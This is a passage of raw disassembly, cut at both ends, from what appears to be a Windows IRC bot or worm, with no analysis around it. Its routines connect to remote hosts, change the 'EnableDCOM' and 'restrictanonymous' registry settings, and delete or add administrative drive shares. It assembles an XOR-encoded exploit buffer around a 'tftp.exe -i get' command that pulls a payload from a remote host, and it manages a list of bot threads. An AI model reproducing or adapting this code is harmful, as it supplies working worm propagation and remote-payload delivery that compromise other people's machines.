sub_414433+57j mov eax, [ebp+arg_0] pop ebp retn sub_414433 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41449C proc near ; DATA XREF: sub_414569+7Bo var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415570 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_43A398 ; ntohs mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_43A418 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41455A lea eax, [ebp+var_10] push 10h push eax push esi call dword_43A340 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43F534[ecx], esi jz short loc_41455A push [ebp+var_34] push [ebp+var_28] call dword_43A424 ; inet_ntoa push eax mov edi, offset dword_469264 push offset unk_4375AC push edi call sub_4154E7 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_412D4C push edi call sub_40B16D add esp, 28h loc_41455A: ; CODE XREF: sub_41449C+5Dj ; sub_41449C+7Ej push esi call dword_43A430 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_41449C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_414569 proc near ; DATA XREF: sub_40CE55+34B1o var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_421060 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_414597: ; CODE XREF: sub_414569+ECj push [ebp+var_2C] push [ebp+var_20] call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_4375E8 push eax call sub_4154E7 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_43F328 push eax call sub_416D40 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_41449C push edi push edi call dword_42108C ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_414603 loc_4145F8: ; CODE XREF: sub_414569+98j cmp [ebp+var_C], edi jnz short loc_414603 push 32h call esi ; Sleep jmp short loc_4145F8 ; --------------------------------------------------------------------------- loc_414603: ; CODE XREF: sub_414569+8Dj ; sub_414569+92j push [ebp+var_4] call dword_42106C ; CloseHandle push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_4155D0 add esp, 0Ch push [ebp+arg_0] call dword_43A2CC ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_43A394 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_4155D0 add esp, 0Ch jmp loc_414597 sub_414569 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41465A proc near ; DATA XREF: sub_40CE55+59A9o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_4146A1 call sub_4146BA jmp short loc_4146A6 ; --------------------------------------------------------------------------- loc_4146A1: ; CODE XREF: sub_41465A+3Ej call sub_4149DE loc_4146A6: ; CODE XREF: sub_41465A+45j add esp, 10h push [ebp+var_14] call sub_4152AF pop ecx push 0 call dword_421048 ; ExitThread sub_41465A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4146BA proc near ; CODE XREF: sub_41465A+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_43A468, edi jnz loc_4147EC lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43A408 ; RegOpenKeyExA test eax, eax jnz short loc_414745 mov ax, word_4379D0 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43A3BC ; RegSetValueExA test eax, eax jz short loc_414727 push offset unk_43798C jmp short loc_41472C ; --------------------------------------------------------------------------- loc_414727: ; CODE XREF: sub_4146BA+64j push offset dword_43795C loc_41472C: ; CODE XREF: sub_4146BA+6Bj lea eax, [ebp+var_214] push eax call sub_4154E7 pop ecx pop ecx push [ebp+var_4] call dword_43A374 ; RegCloseKey jmp short loc_414758 ; --------------------------------------------------------------------------- loc_414745: ; CODE XREF: sub_4146BA+36j lea eax, [ebp+var_214] push offset unk_437918 push eax call sub_4154E7 pop ecx pop ecx loc_414758: ; CODE XREF: sub_4146BA+89j cmp [ebp+arg_C], edi jnz short loc_414777 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414777: ; CODE XREF: sub_4146BA+A1j lea eax, [ebp+var_214] push eax call sub_40B16D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43A408 ; RegOpenKeyExA test eax, eax jnz short loc_4147E5 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_43A3BC ; RegSetValueExA test eax, eax jz short loc_4147C7 push offset unk_4378B4 jmp short loc_4147CC ; --------------------------------------------------------------------------- loc_4147C7: ; CODE XREF: sub_4146BA+104j push offset unk_43786C loc_4147CC: ; CODE XREF: sub_4146BA+10Bj lea eax, [ebp+var_214] push eax call sub_4154E7 pop ecx pop ecx push [ebp+var_4] call dword_43A374 ; RegCloseKey jmp short loc_4147FF ; --------------------------------------------------------------------------- loc_4147E5: ; CODE XREF: sub_4146BA+E2j push offset unk_43781C jmp short loc_4147F1 ; --------------------------------------------------------------------------- loc_4147EC: ; CODE XREF: sub_4146BA+13j push offset unk_4377D8 loc_4147F1: ; CODE XREF: sub_4146BA+130j lea eax, [ebp+var_214] push eax call sub_4154E7 pop ecx pop ecx loc_4147FF: ; CODE XREF: sub_4146BA+129j cmp [ebp+arg_C], edi jnz short loc_41481E push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_41481E: ; CODE XREF: sub_4146BA+148j lea eax, [ebp+var_214] push eax call sub_40B16D cmp dword_43A490, edi pop ecx jnz loc_414999 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_414841: ; CODE XREF: sub_4146BA+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_43A2E4 cmp eax, edi mov [ebp+var_10], eax jz short loc_4148DE cmp eax, 0EAh jz short loc_4148DE mov esi, offset off_437628 loc_414872: ; CODE XREF: sub_4146BA+21Dj push dword ptr [esi] push edi call sub_41339D pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_414889 push offset unk_4377A0 jmp short loc_41488E ; --------------------------------------------------------------------------- loc_414889: ; CODE XREF: sub_4146BA+1C6j push offset unk_437760 loc_41488E: ; CODE XREF: sub_4146BA+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_415A6A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_4148C1 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_4148C1: ; CODE XREF: sub_4146BA+1EBj lea eax, [ebp+var_214] push eax call sub_40B16D add esi, 8 pop ecx cmp esi, offset dword_437648 jl short loc_414872 jmp loc_414976 ; --------------------------------------------------------------------------- loc_4148DE: ; CODE XREF: sub_4146BA+1AAj ; sub_4146BA+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41496D loc_4148ED: ; CODE XREF: sub_4146BA+2AFj mov edi, [esi] push edi call sub_4179DC cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_414962 push edi call sub_41328A push eax push 0 call sub_41339D add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41491C push offset unk_437728 jmp short loc_414921 ; --------------------------------------------------------------------------- loc_41491C: ; CODE XREF: sub_4146BA+259j push offset unk_4376E8 loc_414921: ; CODE XREF: sub_4146BA+260j lea eax, [ebp+var_214] push 200h push eax call sub_415A6A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_414955 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414955: ; CODE XREF: sub_4146BA+27Fj lea eax, [ebp+var_214] push eax call sub_40B16D pop ecx loc_414962: ; CODE XREF: sub_4146BA+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_4148ED xor edi, edi loc_41496D: ; CODE XREF: sub_4146BA+22Dj push [ebp+var_8] call dword_43A428 loc_414976: ; CODE XREF: sub_4146BA+21Fj cmp [ebp+var_10], 0EAh jz loc_414841 lea eax, [ebp+var_214] push offset unk_4376AC push eax call sub_4154E7 pop ecx pop ecx pop ebx jmp short loc_4149AC ; --------------------------------------------------------------------------- loc_414999: ; CODE XREF: sub_4146BA+177j lea eax, [ebp+var_214] push offset unk_437668 push eax call sub_4154E7 pop ecx pop ecx loc_4149AC: ; CODE XREF: sub_4146BA+2DDj cmp [ebp+arg_C], edi jnz short loc_4149CA push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_4149CA: ; CODE XREF: sub_4146BA+2F5j lea eax, [ebp+var_214] push eax call sub_40B16D pop ecx push 1 pop eax pop edi pop esi leave retn sub_4146BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4149DE proc near ; CODE XREF: sub_41465A:loc_4146A1p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_43A468, ebx push esi jnz loc_414B0C lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43A408 ; RegOpenKeyExA test eax, eax jnz short loc_414A69 mov ax, word_437BD8 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43A3BC ; RegSetValueExA test eax, eax jz short loc_414A4B push offset unk_437BA0 jmp short loc_414A50 ; --------------------------------------------------------------------------- loc_414A4B: ; CODE XREF: sub_4149DE+64j push offset dword_437B70 loc_414A50: ; CODE XREF: sub_4149DE+6Bj lea eax, [ebp+var_220] push eax call sub_4154E7 pop ecx pop ecx push [ebp+var_4] call dword_43A374 ; RegCloseKey jmp short loc_414A7C ; --------------------------------------------------------------------------- loc_414A69: ; CODE XREF: sub_4149DE+36j lea eax, [ebp+var_220] push offset unk_437918 push eax call sub_4154E7 pop ecx pop ecx loc_414A7C: ; CODE XREF: sub_4149DE+89j cmp [ebp+arg_C], ebx jnz short loc_414A9B push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414A9B: ; CODE XREF: sub_4149DE+A1j lea eax, [ebp+var_220] push eax call sub_40B16D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43A408 ; RegOpenKeyExA test eax, eax jnz short loc_414B05 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_43A3BC ; RegSetValueExA test eax, eax jz short loc_414AE7 push offset unk_437B20 jmp short loc_414AEC ; --------------------------------------------------------------------------- loc_414AE7: ; CODE XREF: sub_4149DE+100j push offset unk_437AD8 loc_414AEC: ; CODE XREF: sub_4149DE+107j lea eax, [ebp+var_220] push eax call sub_4154E7 pop ecx pop ecx push [ebp+var_4] call dword_43A374 ; RegCloseKey jmp short loc_414B1F ; --------------------------------------------------------------------------- loc_414B05: ; CODE XREF: sub_4149DE+E2j push offset unk_437A88 jmp short loc_414B11 ; --------------------------------------------------------------------------- loc_414B0C: ; CODE XREF: sub_4149DE+13j push offset unk_4377D8 loc_414B11: ; CODE XREF: sub_4149DE+12Cj lea eax, [ebp+var_220] push eax call sub_4154E7 pop ecx pop ecx loc_414B1F: ; CODE XREF: sub_4149DE+125j cmp [ebp+arg_C], ebx jnz short loc_414B3E push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414B3E: ; CODE XREF: sub_4149DE+144j lea eax, [ebp+var_220] push eax call sub_40B16D cmp dword_43A490, ebx pop ecx jnz loc_414CB0 push edi mov esi, offset off_437628 mov edi, 200h loc_414B62: ; CODE XREF: sub_4149DE+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_4132F1 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_414B7D push offset unk_437A54 jmp short loc_414B82 ; --------------------------------------------------------------------------- loc_414B7D: ; CODE XREF: sub_4149DE+196j push offset unk_437A18 loc_414B82: ; CODE XREF: sub_4149DE+19Dj lea eax, [ebp+var_220] push edi push eax call sub_415A6A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_414BB1 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414BB1: ; CODE XREF: sub_4149DE+1B7j lea eax, [ebp+var_220] push eax call sub_40B16D add esi, 8 pop ecx cmp esi, offset off_437638 jl short loc_414B62 call dword_421148 ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_414C98 loc_414BDC: ; CODE XREF: sub_4149DE+2B4j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_414C8D cmp bl, 41h jz loc_414C8D movsx esi, bl push esi push offset aC_3 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_415A6A push esi push offset aC_2 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_415A6A add esp, 20h lea eax, [ebp+var_20] push eax call dword_43A3F8 ; GetDriveTypeA cmp eax, 3 jnz short loc_414C8D lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_4132F1 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_414C4B push offset unk_437A54 jmp short loc_414C50 ; --------------------------------------------------------------------------- loc_414C4B: ; CODE XREF: sub_4149DE+264j push offset unk_437A18 loc_414C50: ; CODE XREF: sub_4149DE+26Bj lea eax, [ebp+var_220] push edi push eax call sub_415A6A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_414C80 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414C80: ; CODE XREF: sub_4149DE+286j lea eax, [ebp+var_220] push eax call sub_40B16D pop ecx loc_414C8D: ; CODE XREF: sub_4149DE+206j ; sub_4149DE+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_414BDC loc_414C98: ; CODE XREF: sub_4149DE+1F8j lea eax, [ebp+var_220] push offset unk_4379D4 push eax call sub_4154E7 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_414CC3 ; --------------------------------------------------------------------------- loc_414CB0: ; CODE XREF: sub_4149DE+173j lea eax, [ebp+var_220] push offset unk_437668 push eax call sub_4154E7 pop ecx pop ecx loc_414CC3: ; CODE XREF: sub_4149DE+2D0j cmp [ebp+arg_C], ebx jnz short loc_414CE1 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_414CE1: ; CODE XREF: sub_4149DE+2E8j lea eax, [ebp+var_220] push eax call sub_40B16D pop ecx push 1 pop eax pop esi pop ebx leave retn sub_4149DE endp ; =============== S U B R O U T I N E ======================================= sub_414CF5 proc near ; CODE XREF: sub_414D15+Ap ; sub_414DED+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_415CF0 push [esp+8+arg_4] mov esi, eax call sub_415CF0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_414CF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414D15 proc near ; CODE XREF: sub_414E04+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_414CF5 cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_414D32 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_414D32: ; CODE XREF: sub_414D15+17j push ebx push esi push edi push [ebp+arg_8] call sub_415CF0 push [ebp+arg_C] mov esi, eax call sub_415CF0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_437C70, eax lea eax, [edi+1] mov dword_437C91, eax lea eax, [edi+17h] mov dword_437C89, eax pop eax push 74h sub eax, edi push offset dword_437C0C push ebx mov dword_437C9F, eax call sub_4155D0 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_4155D0 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_4155D0 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_4155D0 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_4155D0 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_4155D0 add esi, edi push 38h add esi, ebx push offset byte_437C95 push esi call sub_4155D0 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_414D15 endp ; =============== S U B R O U T I N E ======================================= sub_414DED proc near ; CODE XREF: sub_414E04+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_414CF5 push eax call sub_414E71 add esp, 0Ch retn sub_414DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E04 proc near ; CODE XREF: sub_403178+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_414DED cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_414E24 cmp eax, 0FFFFh jbe short loc_414E28 loc_414E24: ; CODE XREF: sub_414E04+17j xor eax, eax jmp short loc_414E6D ; --------------------------------------------------------------------------- loc_414E28: ; CODE XREF: sub_414E04+1Ej push esi push edi push ebx call sub_414CF5 add eax, 101h push eax call sub_415DC9 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_414CF5 pop ecx pop ecx push eax push esi call sub_414D15 push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_414E8C push esi mov edi, eax call sub_415E3D add esp, 24h mov eax, edi pop esi loc_414E6D: ; CODE XREF: sub_414E04+22j pop edi pop ebx pop ebp retn sub_414E04 endp ; =============== S U B R O U T I N E ======================================= sub_414E71 proc near ; CODE XREF: sub_414DED+Ep ; sub_414E8C+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_414E7A inc ecx loc_414E7A: ; CODE XREF: sub_414E71+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_414E71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E8C proc near ; CODE XREF: sub_414E04+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_414EA8 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_414EA8 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_414EA8 cmp byte ptr [ebp+arg_C], 0 jnz short loc_414EAB loc_414EA8: ; CODE XREF: sub_414E8C+8j ; sub_414E8C+Ej ... inc [ebp+arg_C] loc_414EAB: ; CODE XREF: sub_414E8C+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_414ED3 mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_414ECC cmp al, 0Dh jz short loc_414ECC cmp al, 5Ch jz short loc_414ECC test al, al jnz short loc_414ED3 loc_414ECC: ; CODE XREF: sub_414E8C+32j ; sub_414E8C+36j ... add [ebp+arg_C], 100h loc_414ED3: ; CODE XREF: sub_414E8C+28j ; sub_414E8C+3Ej push [ebp+arg_C] call sub_414E71 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_414EEB cmp eax, 0FFFFh jbe short loc_414EF2 loc_414EEB: ; CODE XREF: sub_414E8C+56j xor eax, eax jmp loc_414F90 ; --------------------------------------------------------------------------- loc_414EF2: ; CODE XREF: sub_414E8C+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_469468 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_414F22 loc_414F06: ; CODE XREF: sub_414E8C+94j mov al, [edx+edi] xor al, bl jz short loc_414F19 cmp al, 0Ah jz short loc_414F19 cmp al, 0Dh jz short loc_414F19 cmp al, 5Ch jnz short loc_414F1D loc_414F19: ; CODE XREF: sub_414E8C+7Fj ; sub_414E8C+83j ... inc bl xor edx, edx loc_414F1D: ; CODE XREF: sub_414E8C+8Bj inc edx cmp edx, ecx jb short loc_414F06 loc_414F22: ; CODE XREF: sub_414E8C+78j cmp ecx, esi mov byte_469468, bl ja short loc_414F4E push 15h push offset loc_437BF4 push [ebp+arg_0] mov byte_437C01, cl mov byte_437C05, bl call sub_4155D0 add esp, 0Ch push 15h jmp short loc_414F6F ; --------------------------------------------------------------------------- loc_414F4E: ; CODE XREF: sub_414E8C+9Ej push 17h push offset loc_437BDC push [ebp+arg_0] mov word_437BEA, cx mov byte_437BEF, bl call sub_4155D0 add esp, 0Ch push 17h loc_414F6F: ; CODE XREF: sub_414E8C+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_414F8B mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_414F7D: ; CODE XREF: sub_414E8C+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_414F7D loc_414F8B: ; CODE XREF: sub_414E8C+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_414F90: ; CODE XREF: sub_414E8C+61j pop esi leave retn sub_414E8C endp ; =============== S U B R O U T I N E ======================================= sub_414F93 proc near ; CODE XREF: sub_406100+220p ; sub_407276+F0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43F328 loc_414F9B: ; CODE XREF: sub_414F93+18j cmp byte ptr [eax], 0 jz short loc_414FAF add eax, 234h inc edi cmp eax, offset dword_468818 jl short loc_414F9B jmp short loc_414FFA ; --------------------------------------------------------------------------- loc_414FAF: ; CODE XREF: sub_414F93+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43F328[esi] push eax call sub_416D40 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43F528[esi], eax and dword_43F52C[esi], 0 mov eax, [esp+8+arg_8] and dword_43F530[esi], 0 mov dword_43F534[esi], eax and byte_43F540[esi], 0 pop esi loc_414FFA: ; CODE XREF: sub_414F93+1Aj mov eax, edi pop edi retn sub_414F93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414FFE proc near ; DATA XREF: sub_40CE55+5631o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_415050 push [ebp+var_14] call sub_4152AF add esp, 14h push 0 call dword_421048 ; ExitThread pop edi pop esi sub_414FFE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415050 proc near ; CODE XREF: sub_414FFE+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h xor edi, edi mov esi, offset dword_43F328 loc_41507A: ; CODE XREF: sub_415050+78j cmp byte ptr [esi], 0 jz short loc_4150BB cmp [ebp+arg_C], 0 jnz short loc_41508E cmp dword ptr [esi+204h], 0 jnz short loc_4150BB loc_41508E: ; CODE XREF: sub_415050+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_4154E7 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 24h loc_4150BB: ; CODE XREF: sub_415050+2Dj ; sub_415050+3Cj add esi, 234h inc edi cmp esi, offset dword_468818 jl short loc_41507A pop edi pop esi leave retn sub_415050 endp ; =============== S U B R O U T I N E ======================================= sub_4150CE proc near ; CODE XREF: sub_40CE55+4A16p ; sub_41515C+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_415156 cmp esi, 12Ch jge short loc_415156 imul esi, 234h push edi push ebx push dword_43F53C[esi] lea edi, dword_43F53C[esi] call dword_421130 ; TerminateThread cmp [edi], ebx jz short loc_415106 push 1 pop ebp loc_415106: ; CODE XREF: sub_4150CE+33j mov [edi], ebx lea edi, dword_43F530[esi] mov dword_43F528[esi], ebx mov dword_43F52C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_415127 push eax call sub_414061 pop ecx loc_415127: ; CODE XREF: sub_4150CE+50j mov [edi], ebx lea edi, dword_43F534[esi] mov byte ptr dword_43F328[esi], bl mov byte_43F540[esi], bl push dword ptr [edi] call dword_43A430 ; closesocket lea esi, dword_43F538[esi] mov [edi], ebx push dword ptr [esi] call dword_43A430 ; closesocket mov [esi], ebx pop edi loc_415156: ; CODE XREF: sub_4150CE+Dj ; sub_4150CE+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_4150CE endp ; =============== S U B R O U T I N E ======================================= sub_41515C proc near ; CODE XREF: sub_409E15:loc_409E39p ; sub_40C59A+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43F328 loc_415168: ; CODE XREF: sub_41515C+2Aj cmp byte ptr [esi], 0 jz short loc_415179 push edi call sub_4150CE test eax, eax pop ecx jz short loc_415179 inc ebx loc_415179: ; CODE XREF: sub_41515C+Fj ; sub_41515C+1Aj add esi, 234h inc edi cmp esi, offset dword_468818 jl short loc_415168 pop edi mov eax, ebx pop esi pop ebx retn sub_41515C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: 